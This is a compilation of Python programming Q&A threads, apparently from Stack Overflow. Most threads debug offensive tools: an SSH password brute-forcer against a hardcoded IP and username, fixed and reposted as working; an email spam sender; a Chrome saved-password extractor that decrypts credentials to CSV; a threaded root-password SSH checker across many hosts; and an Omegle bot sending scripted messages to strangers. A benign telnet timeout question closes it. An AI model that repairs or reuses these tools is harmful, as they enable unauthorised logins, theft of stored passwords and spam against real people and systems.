Im writing a SSH Brute Force program for a school project, however i am stuck on the part where i have to make the password function. This is what my code looks like so far.
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
The problem i have is that it understands that it should loop it, but all the output i get is:
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
Is there a way to fix this problem?
When i stop the program from running it gives me this Traceback:
Traceback (most recent call last):
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 52, in <module>
response = ssh_connect(password)
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 30, in ssh_connect
ssh.connect(hostname = hostname, port = port, password= password, username= username)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 394, in connect
look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 636, in _auth
self._transport.auth_password(username, password)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/transport.py", line 1329, in auth_password
return self.auth_handler.wait_for_response(my_event)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/auth_handler.py", line 198, in wait_for_response
event.wait(0.1)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 551, in wait
signaled = self._cond.wait(timeout)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 299, in wait
gotit = waiter.acquire(True, timeout)
KeyboardInterrupt
Process finished with exit code 1
The traceback you posted (the one you get when interrupting the process) is actually irrelevant. The one that would have been usefull to let you debug the problem by yourself is lost due to your useless and actually harmful exception handler in your script's main loop, which you should either remove totally or at least rewrite to only catch expected exceptions - and then only wrap the ssh_connect() call, not the following code. IOW, you want to replace this:
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
With
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
except (your, list, of, expected, exceptions, here) as :
do_something_to_correctly_handle_this_exception_here(e)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
wrt/ your current problem, it's in the print calls above: you have:
print("some message" (variable, eventually_another_variable))
which is interpreted as:
msg = "some message" (variable, eventually_another_variable)
print(msg)
where the first line is interpreted as a function call applied to the "some message" string, hence the exception. What you want is string formatting, ie:
print("Password Incorrect: {} {}".format(username, password))
There are also quite a few things that are a bit wrong with your code, like opening files without closing them properly, mixing functions and top-level code instead of putting all operational code in functions on only have one single main function call at the top-level, writing passwords to a file and re-reading that file when you don't need it (technically at least), etc...
It's working. Try this:
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: {}, {}, {}, {}".format(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: {}, {}".format(username, password))
elif response == 2:
print("Connection Failed: {}".format(hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
In line 56, 60, 63 you ain't calling the variable properly. You forgot % though you can also use .format() as I have used in the code above
Related
i am a python beginner and i'd like to get some help from you.
Recently i wrote a program which is about email spamming(retrieving data from a config file) using the 'smtp' module which i can't use very well so when i ran the program, it says this:
enter any key to exit
enter 'spam' to spam an email
Enter: spam
Running..Running..Running..Running..Running..Running..Running..Traceback (most recent call last):
File "C:\Users\Leon\Desktop\Progetti\Gdaze\Gdaze.py", line 61, in <module>
emailSetupAndGo(getData()[0], getData()[1], getData()[2], getData()[3], getData()[4], getData()[5])
File "C:\Users\Leon\Desktop\Progetti\Gdaze\Gdaze.py", line 46, in emailSetupAndGo
server = smtplib.SMPT('smtp.gmail.com:587')
AttributeError: module 'smtplib' has no attribute 'SMPT'
After seeing this error i searched it and found out, on stackoverflow, a solution, but it worked just for people who named the file email.py.
Here you are the source code(I also think i made a mistake with the .split(' ') to delete the spaces) so you can tell me what the error is:
import smtplib
import sys
def getData():
#GETTING DATA FROM THE FILE
configFile = open('config.txt', 'rt')
usernameLine = configFile.readline()
passwordLine = configFile.readline()
nLine = configFile.readline()
fromemailLine = configFile.readline()
toemailLine = configFile.readline()
msgLine = configFile.readline()
configFile.close()
if "<yourgmail's>" in usernameLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<yourgmail's>" in passwordLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<int>" in nLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<youremail>" in fromemailLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<emailtospam>" in toemailLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<msg>" in msgLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
else:
sys.stdout.write("Running..")
#DECLARING THE MAIN VARIABLES
u = str(usernameLine[11:])
pw = str(passwordLine[11:])
n = str(nLine[27:])
fromemail = str(fromemailLine[12:])
toemail = str(toemailLine[10:])
msg = str(msgLine[10:])
#DELETING SPACES IN THE FILE TO STORE CORRECTLY THE DATA
u.split(" ")
pw.split(" ")
n.split(" ")
fromemail.split(" ")
toemail.split(" ")
msg.split(" ")
data = [u, pw, n, fromemail, toemail, msg]
return data
def emailSetupAndGo(n, username, password, fromemail, toemail, message):
server = smtplib.SMPT('smtp.gmail.com:587')
server.starttls()
server.login(username, password)
for i in n:
server.sendmail(fromemail, toemail, message)
server.quit()
def help():
sys.stdout.write("enter any key to exit\nenter 'spam' to spam an email\n")
while True:
help()
entered = input("Enter: ")
if entered == 'spam':
getData()
emailSetupAndGo(getData()[0], getData()[1], getData()[2], getData()[3], getData()[4], getData()[5])
else:
break
And here you are the config file:
username = <yourgmail's>
password = <yourgmail's>
number of emails to spam = <int>
fromemail = <youremail>
toemail = <emailtospam>
message = <msg>
I am running into an issue with parts of my code i have added my errors at the bottom. The issue is arising around the sqllite3.operationError part. i attempted removing it but when i do another error occurs for line 68 'def getpath():', i cant see why the errors are showing up any and all help is appreciated as always thanks. My code is generally for taking Login data out of my database and displaying in an csv file
import os
import sys
import sqlite3
try:
import win32crypt
except:
pass
import argparse
def args_parser():
parser = argparse.ArgumentParser(description="Retrieve Google Chrome Passwords")
parser.add_argument("--output", help="Output to csv file", action="store_true")
args = parser.parse_args()
if args.output:
csv(main())
else:
for data in main():
print (data)
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print('[!] Make sure Google Chrome is not running in the background')
sys.exit(0)
elif (e == 'no such table: logins'):
print('[!] Something wrong with the database name')
sys.exit(0)
elif (e == 'unable to open database file'):
print('[!] Something wrong with the database path')
sys.exit(0)
else:
print (e)
sys.exit(0)
return info_list
def getpath():
if os.name == "nt":
# This is the Windows Path
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
print('[!] Chrome Doesn\'t exists')
sys.exit(0)
return PathName
def csv (info):
with open ('chromepass.csv', 'wb') as csv_file:
csv_file.write('origin_url,username,password \n' .encode('utf'))
for data in info:
csv_file.write(('%s, %s, %s \n' % (data['origin_url'], data['username'], data['password'])).encode('utf-8'))
print ("Data written to Chromepass.csv")
if __name__ == '__main__':
args_parser()
Errors
Traceback (most recent call last):
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 90, in <module>
args_parser()
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 19, in args_parser
for data in main():
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 35, in main
for information in value:
TypeError: 'builtin_function_or_method' object is not iterable
Right way is:
except sqlite3.OperationalError as e:
And you main() should be like:
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print '[!] Make sure Google Chrome is not running in the background'
sys.exit(0)
elif (e == 'no such table: logins'):
print '[!] Something wrong with the database name'
sys.exit(0)
elif (e == 'unable to open database file'):
print '[!] Something wrong with the database path'
sys.exit(0)
else:
print e
sys.exit(0)
return info_list
I am trying to ssh to a remote server using python paramiko module. I need to include the key file dynamically. My code is given below.
import getpass
import paramiko
server = raw_input("What is the server name? ")
username = raw_input("Enter the username: ")
passphrase = getpass.getpass(prompt="Enter your passphrase: ")
key = '/home/%s/.ssh/id_rsa' % username
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(server, username=username, password=passphrase, key_filename=key)
stdin, stdout, stderr = ssh.exec_command('df -h')
print stdout.readlines()
ssh.close()
I am able to work with the code if I provide the key path directly instead of using the variable.
The error I am getting is:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python2.7/dist-packages/paramiko/client.py", line 237, in connect
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(hostname, port, socket.AF_UNSPEC, socket.SOCK_STREAM):
socket.gaierror: [Errno -2] Name or service not known`enter code here`
seems like you have some dns error here, Pasting my script to get ssh status over here, that is dealing all the exceptions (at least I have noted so far)
#!/bin/python3
import threading, time, paramiko, socket, getpass
from queue import Queue
locke1 = threading.Lock()
q = Queue()
#Check the login
def check_hostname(host_name, pw_r):
with locke1:
print ("Checking hostname :"+str(host_name)+" with " + threading.current_thread().name)
file_output = open('output_file','a')
file_success = open('success_file','a')
file_failed = open('failed_file','a')
file_error = open('error_file','a')
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host_name, username='root', password=pw_r, timeout=5)
#print ("Success")
file_success.write(str(host_name+"\n"))
file_success.close()
file_output.write("success: "+str(host_name+"\n"))
file_output.close()
# printing output if required from remote machine
#stdin,stdout,stderr = ssh.exec_command("hostname&&uptime")
#for line in stdout.readlines():
# print (line.strip())
except paramiko.SSHException:
# print ("error")
file_failed.write(str(host_name+"\n"))
file_failed.close()
file_output.write("failed: "+str(host_name+"\n"))
file_output.close()
#quit()
except paramiko.ssh_exception.NoValidConnectionsError:
#print ("might be windows------------")
file_output.write("failed: " + str(host_name + "\n"))
file_output.close()
file_failed.write(str(host_name+"\n"))
file_failed.close()
#quit()
except socket.gaierror:
#print ("wrong hostname/dns************")
file_output.write("error: "+str(host_name+"\n"))
file_output.close()
file_error.write(str(host_name + "\n"))
file_error.close()
except socket.timeout:
#print ("No Ping %%%%%%%%%%%%")
file_output.write("error: "+str(host_name+"\n"))
file_output.close()
file_error.write(str(host_name + "\n"))
file_error.close()
ssh.close()
def performer1():
while True:
hostname_value = q.get()
check_hostname(hostname_value,pw_sent)
q.task_done()
if __name__ == '__main__':
print ("This script checks all the hostnames in the input_file with your standard password and write the outputs in below files: \n1.file_output\n2.file_success \n3.file_failed \n4.file_error \n")
f = open('output_file', 'w')
f.write("-------Output of all hosts-------\n")
f.close()
f = open('success_file', 'w')
f.write("-------Success hosts-------\n")
f.close()
f = open('failed_file', 'w')
f.write("-------Failed hosts-------\n")
f.close()
f = open('error_file', 'w')
f.write("-------Hosts with error-------\n")
f.close()
with open("input_file") as f:
hostname1 = f.read().splitlines()
#Read the standard password from the user
pw_sent=getpass.getpass("Enter the Password:")
start_time1 = time.time()
for i in hostname1:
q.put(i)
#print ("all the hostname : "+str(list(q.queue)))
for no_of_threads in range(10):
t = threading.Thread(target=performer1)
t.daemon=True
t.start()
q.join()
print ("Check output files for results")
print ("completed task in" + str(time.time()-start_time1) + "seconds")
So I have been trying too convert an omegle bot, which was written in python2, to python3. This is the original code: https://gist.github.com/thefinn93/1543082
Now this is my code:
import requests
import sys
import json
import urllib
import random
import time
server = b"odo-bucket.omegle.com"
debug_log = False # Set to FALSE to disable excessive messages
config = {'verbose': open("/dev/null","w")}
headers = {}
headers['Referer'] = b'http://odo-bucket.omegle.com/'
headers['Connection'] = b'keep-alive'
headers['User-Agent'] = b'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.106 Chrome/15.0.874.106 Safari/535.2'
headers['Content-type'] = b'application/x-www-form-urlencoded; charset=UTF-8'
headers['Accept'] = b'application/json'
headers['Accept-Encoding'] = b'gzip,deflate,sdch'
headers['Accept-Language'] = b'en-US'
headers['Accept-Charset'] = b'ISO-8859-1,utf-8;q=0.7,*;q=0.3'
if debug_log:
config['verbose'] = debug_log
def debug(msg):
if debug_log:
print("DEBUG: " + str(msg))
debug_log.write(str(msg) + "\n")
def getcookies():
r = requests.get(b"http://" + server + b"/")
debug(r.cookies)
return(r.cookies)
def start():
r = requests.request(b"POST", b"http://" + server + b"/start?rcs=1&spid=", data=b"rcs=1&spid=", headers=headers)
omegle_id = r.content.strip(b"\"")
print("Got ID: " + str(omegle_id))
cookies = getcookies()
event(omegle_id, cookies)
def send(omegle_id, cookies, msg):
r = requests.request(b"POST","http://" + server + "/send", data="msg=" + urllib.quote_plus(msg) + "&id=" + omegle_id, headers=headers, cookies=cookies)
if r.content == "win":
print("You: " + msg)
else:
print("Error sending message, check the log")
debug(r.content)
def event(omegle_id, cookies):
captcha = False
next = False
r = requests.request(b"POST",b"http://" + server + b"/events",data=b"id=" + omegle_id, cookies=cookies, headers=headers)
try:
parsed = json.loads(r.content)
for e in parsed:
if e[0] == "waiting":
print("Waiting for a connection...")
elif e[0] == "count":
print("There are " + str(e[1]) + " people connected to Omegle")
elif e[0] == "connected":
print("Connection established!")
send(omegle_id, cookies, "HI I just want to talk ;_;")
elif e[0] == "typing":
print("Stranger is typing...")
elif e[0] == "stoppedTyping":
print ("Stranger stopped typing")
elif e[0] == "gotMessage":
print("Stranger: " + e[1])
try:
cat=""
time.sleep(random.randint(1,5))
i_r=random.randint(1,8)
if i_r==1:
cat="that's cute :3"
elif i_r==2:
cat="yeah, guess your right.."
elif i_r==3:
cat="yeah, tell me something about yourself!!"
elif i_r==4:
cat="what's up"
elif i_r==5:
cat="me too"
else:
time.sleep(random.randint(3,9))
send(omegle_id, cookies, "I really have to tell you something...")
time.sleep(random.randint(3,9))
cat="I love you."
send(omegle_id, cookies, cat)
except:
debug("Send errors!")
elif e[0] == "strangerDisconnected":
print("Stranger Disconnected")
next = True
elif e[0] == "suggestSpyee":
print ("Omegle thinks you should be a spy. Fuck omegle.")
elif e[0] == "recaptchaRequired":
print("Omegle think's you're a bot (now where would it get a silly idea like that?). Fuckin omegle. Recaptcha code: " + e[1])
captcha = True
except:
print("Derka derka derka")
if next:
print("Reconnecting...")
start()
elif not captcha:
event(omegle_id, cookies)
start()
The error I get is:
Traceback (most recent call last):
File "p3.py", line 124, in <module>
start()
File "p3.py", line 46, in start
r = requests.request(b"POST", b"http://" + server + b"/start?rcs=1&spid=", data=b"rcs=1&spid=", headers=headers)
File "/usr/lib/python3.4/site-packages/requests/api.py", line 44, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/lib/python3.4/site-packages/requests/sessions.py", line 456, in request
resp = self.send(prep, **send_kwargs)
File "/usr/lib/python3.4/site-packages/requests/sessions.py", line 553, in send
adapter = self.get_adapter(url=request.url)
File "/usr/lib/python3.4/site-packages/requests/sessions.py", line 608, in get_adapter
raise InvalidSchema("No connection adapters were found for '%s'" % url)
requests.exceptions.InvalidSchema: No connection adapters were found for 'b'http://odo-bucket.omegle.com/start?rcs=1&spid=''
I didn't really understand what would fix this error, nor what the problem really is, even after looking it up.
UPDATE:
Now after removing all the b's I get the following error:
Traceback (most recent call last):
File "p3.py", line 124, in <module>
start()
File "p3.py", line 47, in start
omegle_id = r.content.strip("\"")
TypeError: Type str doesn't support the buffer API
UPDATE 2:
After putting the b back to r.content, I get the following error message:
Traceback (most recent call last):
File "p3.py", line 124, in <module>
start()
File "p3.py", line 50, in start
event(omegle_id, cookies)
File "p3.py", line 63, in event
r = requests.request("POST","http://" + server + "/events",data="id=" + omegle_id, cookies=cookies, headers=headers)
TypeError: Can't convert 'bytes' object to str implicitly
UPDATE 3:
Everytime I try to start it excepts "Derka derka", what could be causing this (It wasn't like that with python2).
requests takes strings, not bytes values for the URL.
Because your URLs are bytes values, requests is converting them to strings with str(), and the resulting string contains the characters b' at the start. That's no a valid scheme like http:// or https://.
The majority of your bytestrings should really be regular strings instead; only the content.strip() call deals with actual bytes.
The headers will be encoded for you, for example. Don't even set the Content-Type header; requests will take care of that for you if you pass in a dictionary (using string keys and values) to the data keyword argument.
You shouldn't set the Connection header either; leave connection management to requests as well.
I am using Python for Automated telnet program using telnetlib. The problem is: when the device that I am trying to telnet to doesn't responsd, means timeout; the program gives me timeout message and doesn't continue to next commands.
My Code:
import telnetlib
HOST = ("x.x.x.x")
USER = ("xxxxx")
PWD = ("yyyyy")
ENABLE = ("zzzzz")
TNT = telnetlib.Telnet(HOST, 23, 5)
TNT.read_until(b"Username:")
TNT.write(USER.encode('ascii') + b"\n")
TNT.read_until(b"Password:")
TNT.write(PWD.encode('ascii') + b"\n")
TNT.write(b"enable\n")
TNT.read_until(b"Password:")
TNT.write(ENABLE.encode('ascii') + b"\n")
TNT.write(b"terminal length 0\n")
TNT.write(b"show run\n")
TNT.write(b"exit\n")
print (TNT.read_all().decode('ascii'))
TNT.close()
raw_input ("Press any Key to Quit: ")
Error Message:
Traceback (most recent call last):
File "D:\Python\Telnet (Python 2.7) V1.5.py", line 8, in <module>
TNT = telnetlib.Telnet(HOST, 23, 5)
File "C:\Python27\lib\telnetlib.py", line 209, in __init__
self.open(host, port, timeout)
File "C:\Python27\lib\telnetlib.py", line 225, in open
self.sock = socket.create_connection((host, port), timeout)
File "C:\Python27\lib\socket.py", line 571, in create_connection
raise err
timeout: timed out
>>>
How can let the program to just notify me that this device isn't reachable and let it continue with the next commands ??
Wrap the operations in a try block, and handle the exception in a catch block.
The exception you're looking for is socket.timeout. so:
import socket
try:
TNT = telnetlib.Telnet(HOST, 23, 5)
except socket.timeout:
sulk()
Which I discovered in this way:
>>> try:
... t = telnetlib.Telnet("google.com", 23, 5)
... except:
... import sys
... exc_info = sys.exc_info()
>>> exc_info
(<class 'socket.timeout'>, timeout('timed out',), <traceback object at 0xb768bf7c>)
It might be that timeout is too specific. You might instead prefer to catch any IOError
try:
TNT = telnetlib.Telnet(HOST, 23, 5)
except IOError:
sulk()
Python terminates your program whenever as exception arrives. For handling exception you need to wrap it in try, catch statements.
Put your telnet statement in try statement and catch exception using except as shown below:
import telnetlib
HOST = ("x.x.x.x")
USER = ("xxxxx")
PWD = ("yyyyy")
ENABLE = ("zzzzz")
try:
TNT = telnetlib.Telnet(HOST, 23, 5)
except:
print "<your custom message>"
pass
TNT.read_until(b"Username:")
TNT.write(USER.encode('ascii') + b"\n")
TNT.read_until(b"Password:")
TNT.write(PWD.encode('ascii') + b"\n")
TNT.write(b"enable\n")
TNT.read_until(b"Password:")
TNT.write(ENABLE.encode('ascii') + b"\n")
TNT.write(b"terminal length 0\n")
TNT.write(b"show run\n")
TNT.write(b"exit\n")
print (TNT.read_all().decode('ascii'))
TNT.close()
raw_input ("Press any Key to Quit: ")